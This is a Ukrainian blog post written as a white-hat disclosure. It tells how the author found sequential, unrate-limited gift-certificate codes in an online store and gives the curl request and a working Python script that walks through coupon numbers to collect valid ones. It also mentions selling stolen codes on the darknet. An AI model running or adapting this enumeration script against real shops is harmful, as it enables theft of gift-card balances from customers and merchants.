Іноді цікаві історії з кібербезпеки починаються з абсолютно буденних речей. Наприклад, із звичайної спроби використати подарунковий сертифікат в інтернет-магазині. На перший погляд це проста функція, яку щодня використовують тисячі людей. Але якщо придивитися уважніше, за нею ховається ціла система перевірок, запитів до сервера та внутрішньої логіки роботи сайту.
Цей матеріал показує, як навіть найпростіший елемент інтерфейсу може стати приводом розібратися, як працюють механізми перевірки кодів, які запити надсилає браузер і чому іноді дрібні технічні деталі відкривають набагато більше, ніж здається спочатку. Стаття буде цікавою розробникам, спеціалістам із безпеки та всім, хто хоче краще зрозуміти, як працюють сучасні веб-сервіси та системи онлайн-покупок.
Багато людей, які цікавляться кібербезпекою, із задоволенням читають історії про знайдені вразливості. У чомусь це навіть нагадує детективи: дослідник крок за кроком рухається до розгадки, використовуючи випадкові спостереження, дивні збіги або недосконалість стандартів. Іноді все починається з дрібниці, а закінчується серйозною проблемою – наприклад, виконанням коду під час десеріалізації чи зовнішніми запитами під час обробки XML. У таких історіях ланцюжок подій може виглядати майже абсурдним, але зрештою саме він приводить до повного компрометування системи.
Однак цього разу історія значно простіша. Комусь вона може навіть здатися нудною. Тут немає складних багаторівневих атак або заплутаних сценаріїв. Йдеться про звичайну, майже банальну вразливість, яка може виникнути в абсолютно повсякденній ситуації.
Попри це, подібні приклади все одно можуть бути корисними. Іноді саме найпростіші історії найкраще показують, як працює мислення дослідника безпеки: як звичайне спостереження поступово перетворюється на технічний розбір і як з дрібної деталі народжується цілий ланцюг ідей. Саме тому розбір зроблено максимально детальним – щоб було видно сам процес пошуку.
Історія починається з дуже буденної ситуації. На день народження був подарований подарунковий сертифікат у досить дорогий магазин одягу. Здавалося б, звичайний подарунок, але він і став відправною точкою для невеликого дослідження.
Іноді достатньо однієї дрібниці, щоб уважніше придивитися до того, як працює певний сервіс. У цьому випадку увагу привернув сам подарунковий сертифікат – звичайна картка або код, який дозволяє оплатити покупку. Виглядає він приблизно так:
Використовується такий сертифікат дуже просто. Під час оформлення замовлення на сайті є поле для промокоду. У нього вводиться номер зі штрих-коду сертифіката, після чого система перевіряє код і, якщо все гаразд, застосовує знижку до замовлення.
Подібні механіки часто одразу викликають інтерес у людей, які люблять розбиратися в тому, як працюють різні сервіси. Зазвичай перше, що хочеться зрозуміти, – як саме формується код сертифіката і чи є в ньому логіка, яку можна проаналізувати.
Якщо уважно подивитися на кілька таких кодів, починає вимальовуватися певна структура. Наприклад:
цифра 2 на початку виглядає як умовний префікс, який не несе особливого сенсу – просто так вирішили розробники;
довга послідовність нулів схожа на технічну «заглушку», якою заповнили частину номера;
а в кінці розміщене шестизначне число, яке, ймовірно, і є унікальним ідентифікатором сертифіката.
У такій ситуації природно виникає просте питання: що буде, якщо змінити це число? Чи прийме система інший код і чи можна таким способом активувати чужий сертифікат?
Логіка підказує, що перевірити це доволі просто. Якщо частина номера складається із шести цифр, то загалом можливий мільйон комбінацій. А якщо сертифікати видаються послідовно, то навіть не потрібно перебирати весь діапазон. Достатньо взяти номер відомого сертифіката і спробувати значення поруч із ним – трохи менші або більші.
Щоб зрозуміти, як саме сайт перевіряє промокод, спочатку потрібно подивитися на мережеві запити. Для цього достатньо відкрити інструменти розробника браузера (у Chrome це робиться через клавішу F12) і перейти на вкладку Network.
Далі залишається простежити, що відбувається під час введення промокоду. Оскільки поле працює динамічно і сторінка не перезавантажується, найімовірніше використовується фоновий запит до сервера. Саме тому варто відфільтрувати запити за типом XHR – це стандартний спосіб для асинхронного обміну даними між сторінкою та сервером.
В інших випадках логіка може працювати інакше. Наприклад:
іноді перевірка відбувається через повне перезавантаження сторінки – тоді запит буде видно у фільтрі Doc;
у більш складних інтерфейсах може використовуватися WebSocket, і тоді потрібен фільтр Ws;
або ж можна просто залишити фільтр All, щоб бачити всю мережеву активність.
У цьому випадку все виявилося досить прозоро. Серед мережевих запитів швидко знайшовся той, який відповідає саме за перевірку купона. Саме він і став відправною точкою для подальшого аналізу того, як працює вся система перевірки сертифікатів.
Все, що нам потрібно – це надіслати безліч таких запитів, але з кожним разом збільшуючи номер купона.
У запиті передається багато всього – це URL, і метод, і заголовки, і тіло. Ми не будемо паритися і обчислювати, що з цього запиту важливо, а що ні – просто повторимо запит один-о-один.
Для цього робимо “copy as curl”:
Тепер в буфері команда curl, на кшталт такий:
curl 'https://xxxxxxx/front_api/cart.json' \
-X 'PATCH' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-b 'first_current_location=%2F; first_referer=; referer=; current_location=%2F; .......' \
-H 'Origin: https://xxxxxxx' \
-H 'Referer: https://xxxxxxx/cart\\_items' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64)' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Linux"' \
--data-raw '{"lang":"","_method":"patch","variant_ids":{},"accessoriable_variant_ids":{},"order_line_comments":{},"coupon":"2000000292670"}'
Але загалом для перебору планувалося використовувати Python, тому цей curl-запит просто передається у ChatGPT із проханням «переписати це на Python з бібліотекою requests», після чого сервіс генерує відповідний Python-код:
import requests
url = "https://xxxxxxx/front_api/cart.json"
data = {
"lang": "",
"_method": "patch",
"variant_ids": "{}",
"accessoriable_variant_ids": "{}",
"order_line_comments": "{}",
"coupon": "2000000292670",
}
cookies = {
"first_current_location": "%2F",
"first_referer": "",
"visit": "t",
"goal30_sent": "1",
"goal90_sent": "1",
"total_time_spent": "120",
"session_time_spent": "120",
"session_completed": "1",
"was": "true",
"cart": "json",
# ...
}
response = requests.patch(url, json=data, cookies=cookies)
print(response.status_code, response.text)
Код трохи приводиться до ладу:
використовуємо requests.Session щоб не відкривати з’єднання заново на кожен запит;
починаємо трохи раніше свого купона – з
292000– і повземо вгору за допомогою itertools.count() ;
виводимо прогрес та швидкість роботи за допомогою tqdm ;
використовуємо формат json lines , щоб зберігати знайдені купони.
Виходить ось так компактно:
from itertools import count
import json
import requests
from tqdm import tqdm
from pathlib import Path
output_file_path = Path('results.jsonl')
url = "https://xxxxxxx/front_api/cart.json"
data = {
"coupon": "",
# ...
}
cookies = {
# ...
}
session = requests.Session()
start = 2000000292000
with output_file_path.open('a', encoding='utf-8') as output_file:
for coupon in tqdm(count(start), initial=start):
response = session.patch(
url,
json=data | {"coupon": str(coupon)},
cookies=cookies,
timeout=10,
)
response.raise_for_status()
result = response.json()
if 'Указан несуществующий купон' not in result['coupon']['error']:
for discount in result['discounts']:
output_file.write(json.dumps(discount) + '\n')
output_file.flush()
Запущений скрипт працював так само швидко, як у понеділок – перевіряючи приблизно 2 купони на секунду. Але приблизно через 5 хвилин нові коди перестали з’являтися, що означало: було проскановано всі сертифікати, які на той момент були випущені та ще не активовані.
У результаті було сформовано купонів приблизно на 177 тисяч. Далі теоретично можна було б оформлювати замовлення на підставних отримувачів або продавати ці коди зі знижкою на майданчиках у даркнеті.
Про знайдену вразливість магазин зрештою був повідомлений. Хотілося б написати, що за це подарували сертифікат на якусь космічну суму і навіть вдалося замовити другу шапку, про яку давно мріялося, але на практиці все закінчилося значно прозаїчніше.
З одного боку – гучні заяви про стрімке зростання і плани вийти на оборот у сотні мільйонів на рік. З іншого – для дослідника безпеки нічого не знайшлося. Такий ось він, інколи невдячний світ white-hat.
Якщо підсумувати, з боку сервера було допущено кілька очевидних помилок.
По-перше, код сертифіката виявився нестійким до перебору: невелика довжина, лише цифри, а самі номери йшли послідовно.
По-друге, була відсутня будь-яка система rate limiting – перебирати сертифікати можна було практично безкінечно і без жодних обмежень.
По-третє, і це вже майже жартівливе зауваження – дуже високі ціни на товари. Бо якби вони були нижчими, можливо, ніхто навіть не став би так уважно придивлятися до механізму сертифікатів.